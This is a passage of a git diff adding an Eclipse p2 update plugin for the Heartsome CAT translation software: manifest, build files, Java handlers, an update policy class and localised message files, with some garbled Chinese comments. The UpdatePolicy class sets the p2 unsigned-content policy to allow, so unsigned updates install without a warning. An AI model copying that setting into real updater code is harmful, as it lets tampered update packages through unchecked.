org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.p2update/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.p2update/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.p2update/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.p2update/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.p2update/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4439aff --- /dev/null +++ b/ts/net.heartsome.cat.p2update/META-INF/MANIFEST.MF @@ -0,0 +1,32 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT P2 Update +Bundle-SymbolicName: net.heartsome.cat.p2update;singleton:=true +Bundle-Version: 8.0.1.R8b_v20121214 +Bundle-Activator: net.heartsome.cat.p2update.Activator +Bundle-Vendor: Heartsome Technologies Ltd. +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.equinox.p2.ui, + org.eclipse.equinox.p2.core, + org.eclipse.equinox.p2.repository, + net.heartsome.cat.thirdpartlibrary, + net.heartsome.xml, + net.heartsome.cat.common.ui;bundle-version="8.0.0" +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ActivationPolicy: lazy +Bundle-Localization: plugin +Import-Package: javax.xml.parsers, + net.heartsome.cat.common.util, + org.eclipse.core.expressions, + org.eclipse.equinox.internal.p2.engine, + org.eclipse.equinox.p2.engine;version="[2.0.0,3.0.0)", + org.eclipse.equinox.p2.engine.query;version="[2.0.0,3.0.0)", + org.eclipse.equinox.p2.metadata;version="[2.0.0,3.0.0)", + org.eclipse.equinox.p2.operations;version="[2.0.0,3.0.0)", + org.eclipse.equinox.p2.query;version="[2.0.0,3.0.0)", + org.eclipse.osgi.util;version="1.1.0", + org.osgi.framework;version="1.6.0", + org.w3c.dom, + org.xml.sax +Export-Package: net.heartsome.cat.p2update.autoupdate diff --git a/ts/net.heartsome.cat.p2update/build.properties b/ts/net.heartsome.cat.p2update/build.properties new file mode 100644 index 0000000..83e7b9b --- /dev/null +++ b/ts/net.heartsome.cat.p2update/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties,\ + configuration/ diff --git a/ts/net.heartsome.cat.p2update/configuration/p2config.xml b/ts/net.heartsome.cat.p2update/configuration/p2config.xml new file mode 100644 index 0000000..d7be869 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/configuration/p2config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.p2update/plugin.properties b/ts/net.heartsome.cat.p2update/plugin.properties new file mode 100644 index 0000000..55188e5 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/plugin.properties @@ -0,0 +1 @@ +menu.checkupdate = \u68c0\u67e5\u66f4\u65b0... \ No newline at end of file diff --git a/ts/net.heartsome.cat.p2update/plugin.xml b/ts/net.heartsome.cat.p2update/plugin.xml new file mode 100644 index 0000000..32e2f9f --- /dev/null +++ b/ts/net.heartsome.cat.p2update/plugin.xml @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.p2update/plugin_en.properties b/ts/net.heartsome.cat.p2update/plugin_en.properties new file mode 100644 index 0000000..fdd8fd5 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/plugin_en.properties @@ -0,0 +1 @@ +menu.checkupdate = Check for Updates... diff --git a/ts/net.heartsome.cat.p2update/plugin_zh.properties b/ts/net.heartsome.cat.p2update/plugin_zh.properties new file mode 100644 index 0000000..55188e5 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/plugin_zh.properties @@ -0,0 +1 @@ +menu.checkupdate = \u68c0\u67e5\u66f4\u65b0... \ No newline at end of file diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/Activator.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/Activator.java new file mode 100644 index 0000000..02142fc --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/Activator.java @@ -0,0 +1,170 @@ +package net.heartsome.cat.p2update; + +import java.io.File; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.Iterator; + +import org.dom4j.Document; +import org.dom4j.Element; +import org.dom4j.io.SAXReader; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.equinox.internal.p2.core.helpers.ServiceHelper; +import org.eclipse.equinox.p2.core.IProvisioningAgent; +import org.eclipse.equinox.p2.repository.artifact.IArtifactRepositoryManager; +import org.eclipse.equinox.p2.repository.metadata.IMetadataRepositoryManager; +import org.eclipse.equinox.p2.ui.Policy; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + public static final Logger logger = LoggerFactory.getLogger(Activator.class); + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.p2update"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + public static BundleContext bundleContext; + + @SuppressWarnings("rawtypes") + ServiceRegistration policyRegistration; + UpdatePolicy policy; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + bundleContext = context; + + // register the p2 UI policy + registerP2Policy(context); + loadUpdateSite(); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + bundleContext = null; + + // unregister the UI policy + policyRegistration.unregister(); + policyRegistration = null; + + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + private void registerP2Policy(BundleContext context) { + policy = new UpdatePolicy(); + policy.updateForPreferences(); + policyRegistration = context.registerService(Policy.class.getName(), policy, null); + } + + private void loadUpdateSite() throws InvocationTargetException { + // get the agent + final IProvisioningAgent agent = (IProvisioningAgent) ServiceHelper.getService(Activator.bundleContext, + IProvisioningAgent.SERVICE_NAME); + + // get the repository managers and define our repositories + IMetadataRepositoryManager manager = (IMetadataRepositoryManager) agent + .getService(IMetadataRepositoryManager.SERVICE_NAME); + if (manager == null) { + logger.error("When load repository,Metadata manager was null"); + return; + } + + // Load artifact manager + IArtifactRepositoryManager artifactManager = (IArtifactRepositoryManager) agent + .getService(IArtifactRepositoryManager.SERVICE_NAME); + if (artifactManager == null) { + logger.error("When load repository,Artifact manager was null"); + return; + } + + // Load repository + try { + String url = getUrlString(); + if (url == null) { + return; + } + URI repoLocation = new URI(url); + URI[] ex = manager.getKnownRepositories(IMetadataRepositoryManager.REPOSITORIES_ALL); + for(URI e : ex){ + manager.removeRepository(e); + artifactManager.removeRepository(e); + } + manager.addRepository(repoLocation); + artifactManager.addRepository(repoLocation); + } catch (URISyntaxException e) { + logger.error("Caught URI syntax exception " + e.getMessage(), e); + throw new InvocationTargetException(e); + } + } + + private String getUrlString() { + String version = System.getProperty("TSEdition"); + SAXReader saxReader = new SAXReader(); + Document document = null; + try { + String siteFile = getUpdateSiteFile(); + if (siteFile == null) { + logger.error("Can not get the update site config file"); + return null; + } + document = saxReader.read(new File(siteFile)); + Element root = document.getRootElement(); + Iterator it = root.elementIterator("site"); + String name; + while (it.hasNext()) { + Element e = (Element) it.next(); + name = e.attributeValue("name"); + if (name.equals(version)) + return e.attributeValue("url"); + } + } catch (Exception e) { + logger.error("", e); + } + return null; + } + + private String getUpdateSiteFile() { + try { + String bundlePath = FileLocator.toFileURL(Activator.getDefault().getBundle().getEntry("")).getPath(); + return bundlePath + "/configuration/p2config.xml"; + } catch (IOException e) { + logger.error("", e); + } + return null; + } +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/UpdatePolicy.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/UpdatePolicy.java new file mode 100644 index 0000000..957fc9b --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/UpdatePolicy.java @@ -0,0 +1,53 @@ +package net.heartsome.cat.p2update; + +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.equinox.internal.p2.engine.EngineActivator; +import org.eclipse.equinox.p2.operations.ProfileChangeOperation; +import org.eclipse.equinox.p2.operations.UpdateOperation; +import org.eclipse.equinox.p2.ui.Policy; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.statushandlers.StatusManager; + +/** + * æ›´æ–°ç­–ç•¥é…置类 + * @author Jason + * @version + * @since JDK1.6 + */ +public class UpdatePolicy extends Policy { + + @Override + public boolean continueWorkingWithOperation(ProfileChangeOperation operation, Shell shell) { + + Assert.isTrue(operation.getResolutionResult() != null); + IStatus status = operation.getResolutionResult(); + // user cancelled + if (status.getSeverity() == IStatus.CANCEL) + return false; + + // Special case those statuses where we would never want to open a wizard + if (status.getCode() == UpdateOperation.STATUS_NOTHING_TO_UPDATE) { + MessageDialog.openInformation(shell, P2UpdateUtil.CHECK_UPDATE_JOB_NAME, P2UpdateUtil.UPDATE_PROMPT_INFO_NO_UPDATE); + return false; + } + + // there is no plan, so we can't continue. Report any reason found + if (operation.getProvisioningPlan() == null && !status.isOK()) { + StatusManager.getManager().handle(status, StatusManager.LOG | StatusManager.SHOW); + return false; + } + + // Allow the wizard to open otherwise. + return true; + } + + public void updateForPreferences() { + setRestartPolicy(RESTART_POLICY_PROMPT); + setRepositoriesVisible(false); + System.setProperty(EngineActivator.PROP_UNSIGNED_POLICY, EngineActivator.UNSIGNED_ALLOW); + } +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/autoupdate/AutomaticUpdate.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/autoupdate/AutomaticUpdate.java new file mode 100644 index 0000000..1c9ae33 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/autoupdate/AutomaticUpdate.java @@ -0,0 +1,150 @@ +/** + * AutomaticUpdate.java + * + * Version information : + * + * Date:2012-9-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.p2update.autoupdate; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.p2update.ui.UpdateWizard; +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubMonitor; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.equinox.p2.core.IProvisioningAgent; +import org.eclipse.equinox.p2.engine.IProfile; +import org.eclipse.equinox.p2.engine.IProfileRegistry; +import org.eclipse.equinox.p2.operations.RepositoryTracker; +import org.eclipse.equinox.p2.operations.UpdateOperation; +import org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob; +import org.eclipse.equinox.p2.ui.ProvisioningUI; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 自动更新 + * @author Jason + * @version + * @since JDK1.6 + */ +public class AutomaticUpdate { + UpdateOperation operation; + public static final Logger logger = LoggerFactory.getLogger(P2UpdateUtil.class); + + public void checkForUpdates() throws OperationCanceledException { + // 检查 propfile + String profileId = getProvisioningUI().getProfileId(); + IProvisioningAgent agent = getProvisioningUI().getSession().getProvisioningAgent(); + IProfile profile = null; + if (agent != null) { + IProfileRegistry registry = (IProfileRegistry) agent.getService(IProfileRegistry.SERVICE_NAME); + if (registry != null) { + profile = registry.getProfile(profileId); + } + } + if (profile == null) { + // Inform the user nicely + P2UpdateUtil.openConnectErrorInfoDialog(getShell(), P2UpdateUtil.INFO_TYPE_AUTO_CHECK); + return; + } + + // 开始检查å‰å…ˆç¡®å®šæ˜¯å¦æœ‰repository + RepositoryTracker repoMan = getProvisioningUI().getRepositoryTracker(); + if (repoMan.getKnownRepositories(getProvisioningUI().getSession()).length == 0) { + P2UpdateUtil.openConnectErrorInfoDialog(getShell(), P2UpdateUtil.INFO_TYPE_AUTO_CHECK); + return; + } + + final IStatus[] checkStatus = new IStatus[1]; + Job.getJobManager().cancel(LoadMetadataRepositoryJob.LOAD_FAMILY); + final LoadMetadataRepositoryJob loadJob = new LoadMetadataRepositoryJob(getProvisioningUI()) { + public IStatus runModal(IProgressMonitor monitor) { + SubMonitor sub = SubMonitor.convert(monitor, P2UpdateUtil.CHECK_UPDATE_TASK_NAME, 1000); + // load repository + IStatus status = super.runModal(sub.newChild(500)); + if (status.getSeverity() == IStatus.CANCEL) { + return status; + } + if (status.getSeverity() != Status.OK) { + // load repository error + checkStatus[0] = status; + } + operation = getProvisioningUI().getUpdateOperation(null, null); + // check for updates + IStatus resolveStatus = operation.resolveModal(sub.newChild(500)); + if (resolveStatus.getSeverity() == IStatus.CANCEL) { + return Status.CANCEL_STATUS; + } + return Status.OK_STATUS; + } + }; + loadJob.setName(P2UpdateUtil.ATUO_CHECK_UPDATE_JOB_NAME); + loadJob.setProperty(LoadMetadataRepositoryJob.ACCUMULATE_LOAD_ERRORS, Boolean.toString(true)); + loadJob.addJobChangeListener(new JobChangeAdapter() { + public void done(IJobChangeEvent event) { + if (PlatformUI.isWorkbenchRunning()) + if (event.getResult().isOK()) { + PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { + public void run() { + if (checkStatus[0] != null) { + // æ示连接异常 + P2UpdateUtil.openConnectErrorInfoDialog(getShell(), + P2UpdateUtil.INFO_TYPE_AUTO_CHECK); + return; + } + doUpdate(); + } + }); + } + } + }); + loadJob.setUser(true); + loadJob.schedule(); + } + + private void doUpdate() { + if (operation == null) { + return; + } + IStatus status = operation.getResolutionResult(); + // user cancelled + if (status.getSeverity() == IStatus.CANCEL) + return; + + // Special case those statuses where we would never want to open a wizard + if (status.getCode() == UpdateOperation.STATUS_NOTHING_TO_UPDATE) { + return; + } + + if (getProvisioningUI().getPolicy().continueWorkingWithOperation(operation, getShell())) { + UpdateWizard wizard = new UpdateWizard(getProvisioningUI(), operation, operation.getSelectedUpdates()); + TSWizardDialog dialog = new TSWizardDialog(getShell(), wizard); + dialog.create(); + dialog.open(); + } + } + + protected ProvisioningUI getProvisioningUI() { + return ProvisioningUI.getDefaultUI(); + } + + protected Shell getShell() { + return PlatformUI.getWorkbench().getModalDialogShellProvider().getShell(); + } + +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/handler/CheckUpdateHandler.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/handler/CheckUpdateHandler.java new file mode 100644 index 0000000..bf4bb63 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/handler/CheckUpdateHandler.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.p2update.handler; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.p2update.ui.UpdateWizard; +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.equinox.p2.operations.RepositoryTracker; +import org.eclipse.equinox.p2.operations.UpdateOperation; +import org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob; + +/** + * 更新检查Handler + * + * @author Jason + * @version + * @since JDK1.6 + */ +public class CheckUpdateHandler extends PreloadingRepositoryHandler { + boolean hasNoRepos = false; + UpdateOperation operation; + + + @Override + protected String getProgressTaskName() { + return P2UpdateUtil.CHECK_UPDATE_JOB_NAME; + } + + @Override + protected void doExecute(LoadMetadataRepositoryJob job) { + // TODO Auto-generated method stub + if (hasNoRepos) { + P2UpdateUtil.openConnectErrorInfoDialog(getShell(), P2UpdateUtil.INFO_TYPE_CHECK); + return; + } + + if (getProvisioningUI().getPolicy().continueWorkingWithOperation(operation, getShell())) { + UpdateWizard wizard = new UpdateWizard(getProvisioningUI(), operation, operation.getSelectedUpdates()); + TSWizardDialog dialog = new TSWizardDialog(getShell(), wizard); + dialog.create(); + dialog.open(); + } + } + + @Override + protected void doPostLoadBackgroundWork(IProgressMonitor monitor) throws OperationCanceledException { + operation = getProvisioningUI().getUpdateOperation(null, null); + // check for updates + IStatus resolveStatus = operation.resolveModal(monitor); + if (resolveStatus.getSeverity() == IStatus.CANCEL) + throw new OperationCanceledException(); + } + + @Override + protected boolean preloadRepositories() { + hasNoRepos = false; + RepositoryTracker repoMan = getProvisioningUI().getRepositoryTracker(); + if (repoMan.getKnownRepositories(getProvisioningUI().getSession()).length == 0) { + hasNoRepos = true; + return false; + } + return super.preloadRepositories(); + } +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/handler/PreloadingRepositoryHandler.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/handler/PreloadingRepositoryHandler.java new file mode 100644 index 0000000..a915dfa --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/handler/PreloadingRepositoryHandler.java @@ -0,0 +1,175 @@ +/******************************************************************************* + * Copyright (c) 2008, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package net.heartsome.cat.p2update.handler; + +import net.heartsome.cat.p2update.util.P2UpdateUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubMonitor; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.equinox.p2.core.IProvisioningAgent; +import org.eclipse.equinox.p2.engine.IProfile; +import org.eclipse.equinox.p2.engine.IProfileRegistry; +import org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob; +import org.eclipse.equinox.p2.ui.ProvisioningUI; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; + +/** + * PreloadingRepositoryHandler provides background loading of repositories before executing the provisioning handler. + * @since 3.5 + */ +public abstract class PreloadingRepositoryHandler extends AbstractHandler { + + /** + * The constructor. + */ + public PreloadingRepositoryHandler() { + // constructor + } + + /** + * Execute the command. + */ + public Object execute(ExecutionEvent event) { + // SystemResourceUtil.load(); + // String tshelp = System.getProperties().getProperty("TSHelp"); + // String tsstate = System.getProperties().getProperty("TSState"); + // if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + // LoggerFactory.getLogger(PreloadingRepositoryHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + // System.exit(0); + // } + // Look for a profile. We may not immediately need it in the + // handler, but if we don't have one, whatever we are trying to do + // will ultimately fail in a more subtle/low-level way. So determine + // up front if the system is configured properly. + String profileId = getProvisioningUI().getProfileId(); + IProvisioningAgent agent = getProvisioningUI().getSession().getProvisioningAgent(); + IProfile profile = null; + if (agent != null) { + IProfileRegistry registry = (IProfileRegistry) agent.getService(IProfileRegistry.SERVICE_NAME); + if (registry != null) { + profile = registry.getProfile(profileId); + } + } + if (profile == null) { + // Inform the user nicely + P2UpdateUtil.openConnectErrorInfoDialog(getShell(), P2UpdateUtil.INFO_TYPE_CHECK); + return null; + } else { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + doExecuteAndLoad(); + } + }); + } + return null; + } + + void doExecuteAndLoad() { + if (preloadRepositories()) { + // cancel any load that is already running + final IStatus[] checkStatus = new IStatus[1]; + Job.getJobManager().cancel(LoadMetadataRepositoryJob.LOAD_FAMILY); + final LoadMetadataRepositoryJob loadJob = new LoadMetadataRepositoryJob(getProvisioningUI()) { + public IStatus runModal(IProgressMonitor monitor) { + SubMonitor sub = SubMonitor.convert(monitor, getProgressTaskName(), 1000); + IStatus status = super.runModal(sub.newChild(500)); + if (status.getSeverity() == IStatus.CANCEL) + return status; + if (status.getSeverity() != IStatus.OK) { + // 记录检查错误 + checkStatus[0] = status; + return Status.OK_STATUS; + } + try { + doPostLoadBackgroundWork(sub.newChild(500)); + } catch (OperationCanceledException e) { + return Status.CANCEL_STATUS; + } + return status; + } + }; + setLoadJobProperties(loadJob); + loadJob.setName(P2UpdateUtil.CHECK_UPDATE_JOB_NAME); + if (waitForPreload()) { + loadJob.addJobChangeListener(new JobChangeAdapter() { + public void done(IJobChangeEvent event) { + if (PlatformUI.isWorkbenchRunning()) + if (event.getResult().isOK()) { + PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { + public void run() { + if (checkStatus[0] != null) { + // æ示连接异常 + P2UpdateUtil.openConnectErrorInfoDialog(getShell(), + P2UpdateUtil.INFO_TYPE_CHECK); + return; + } + doExecute(loadJob); + } + }); + } + } + }); + loadJob.setUser(true); + loadJob.schedule(); + + } else { + loadJob.setSystem(true); + loadJob.setUser(false); + loadJob.schedule(); + doExecute(null); + } + } else { + doExecute(null); + } + } + + protected abstract String getProgressTaskName(); + + protected abstract void doExecute(LoadMetadataRepositoryJob job); + + protected boolean preloadRepositories() { + return true; + } + + protected void doPostLoadBackgroundWork(IProgressMonitor monitor) throws OperationCanceledException { + // default is to do nothing more. + } + + protected boolean waitForPreload() { + return true; + } + + protected void setLoadJobProperties(Job loadJob) { + loadJob.setProperty(LoadMetadataRepositoryJob.ACCUMULATE_LOAD_ERRORS, Boolean.toString(true)); + } + + protected ProvisioningUI getProvisioningUI() { + return ProvisioningUI.getDefaultUI(); + } + + /** + * Return a shell appropriate for parenting dialogs of this handler. + * @return a Shell + */ + protected Shell getShell() { + return PlatformUI.getWorkbench().getModalDialogShellProvider().getShell(); + } +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/Messages.java b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/Messages.java new file mode 100644 index 0000000..2a587a7 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.p2update.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author Jason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.p2update.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message.properties b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message.properties new file mode 100644 index 0000000..2cd807b --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message.properties @@ -0,0 +1,21 @@ +ATUO_CHECK_UPDATE_JOB_NAME = \u68c0\u67e5\u66f4\u65b0 +CHECK_UPDATE_JOB_NAME = \u68c0\u67e5\u66f4\u65b0 + +CHECK_UPDATE_TASK_NAME = \u6b63\u5728\u68c0\u67e5\u66f4\u65b0... + +EXECUTE_UPDATE_JOB_NAME = \u6267\u884c\u66f4\u65b0 +EXECUTE_UPDATE_Task_NAME = \u6b63\u5728\u6267\u884c\u66f4\u65b0... + +AUTO_UPDATE_PROMPT_INFO_TITLE = \u68c0\u67e5\u66f4\u65b0 +UPDATE_PROMPT_INFO_TITLE = \u68c0\u67e5\u66f4\u65b0 +UPDATE_PROMPT_INFO_CONTENT = \u65e0\u6cd5\u8fde\u63a5\u5230\u66f4\u65b0\u7ad9\u70b9\u3002\u8bf7\u68c0\u67e5\u60a8\u7684\u7f51\u7edc\u8fde\u63a5\u6216\u7a0d\u540e\u518d\u91cd\u8bd5\u3002 +UPDATE_PROMPT_INFO_NO_UPDATE = \u5df2\u7ecf\u662f\u6700\u65b0\u7248\u672c\uff0c\u6682\u65e0\u66f4\u65b0\u3002 + +UI_WIZARD_DIALOG_TITLE = \u6267\u884c\u66f4\u65b0 +UI_WIZARD_PAGE_TITLE = \u66f4\u65b0\u5185\u5bb9 +UI_WIZARD_PAGE_DESC = \u672c\u6b21\u66f4\u65b0\u7684\u5185\u5bb9\u5217\u8868 +UI_WIZARD_DESC_PAGE_TITLE = \u66f4\u65b0\u5185\u5bb9 +UI_WIZARD_DESC_PAGE_DESC = \u672c\u6b21\u66f4\u65b0\u7684\u5185\u5bb9\u5217\u8868 + +#20120924 add by jason +UI_WIZARD_DESC_PAGE_DESC_DETAIL = \u53d1\u73b0\u65b0\u7248\u672c\uff1a diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message_en.properties b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message_en.properties new file mode 100644 index 0000000..bb89c54 --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message_en.properties @@ -0,0 +1,21 @@ +ATUO_CHECK_UPDATE_JOB_NAME = Check for Updates +CHECK_UPDATE_JOB_NAME = Check for Updates + +CHECK_UPDATE_TASK_NAME = Checking for updates... + +EXECUTE_UPDATE_JOB_NAME = Updating... +EXECUTE_UPDATE_Task_NAME = Performing update... + +AUTO_UPDATE_PROMPT_INFO_TITLE = Check for Updates +UPDATE_PROMPT_INFO_TITLE = Check for Updates +UPDATE_PROMPT_INFO_CONTENT = Unable to connect to the update site. Please check your internet connection and try again. +UPDATE_PROMPT_INFO_NO_UPDATE = The program is the newest version, no updates available now. + +UI_WIZARD_DIALOG_TITLE = Updating... +UI_WIZARD_PAGE_TITLE = Update contents +UI_WIZARD_PAGE_DESC = Contents of This Update +UI_WIZARD_DESC_PAGE_TITLE = Update contents +UI_WIZARD_DESC_PAGE_DESC = Contents of This Update + +#20120924 add by jason +UI_WIZARD_DESC_PAGE_DESC_DETAIL = Found newer version: diff --git a/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message_zh.properties b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message_zh.properties new file mode 100644 index 0000000..2cd807b --- /dev/null +++ b/ts/net.heartsome.cat.p2update/src/net/heartsome/cat/p2update/resource/message_zh.properties @@ -0,0 +1,21 @@ +ATUO_CHECK_UPDATE_JOB_NAME = \u68c0\u67e5\u66f4\u65b0 +CHECK_UPDATE_JOB_NAME = \u68c0\u67e5\u66f4\u65b0 + +CHECK_UPDATE_TASK_NAME = \u6b63\u5728\u68c0\u67e5\u66f4\u65b0... + +EXECUTE_UPDATE_JOB_NAME = \u6267\u884c\u66f4\u65b0 +EXECUTE_UPDATE_Task_NAME = \u6b63\u5728\u6267\u884c\u66f4\u65b0... + +AUTO_UPDATE_PROMPT_INFO_TITLE = \u68c0\u67e5\u66f4\u65b0 +UPDATE_PROMPT_INFO_TITLE = \u68c0\u67e5\u66f4\u65b0 +UPDATE_PROMPT_INFO_CONTENT = \u65e0\u6cd5\u8fde\u63a5\u5230\u66f4\u65b0\u7ad9\u70b9\u3002\u8bf7\u68c0\u67e5\u60a8\u7684\u7f51\u7edc\u8fde\u63a5\u6216\u7a0d\u540e\u518d\u91cd\u8bd5\u3002 +UPDATE_PROMPT_INFO_NO_UPDATE = 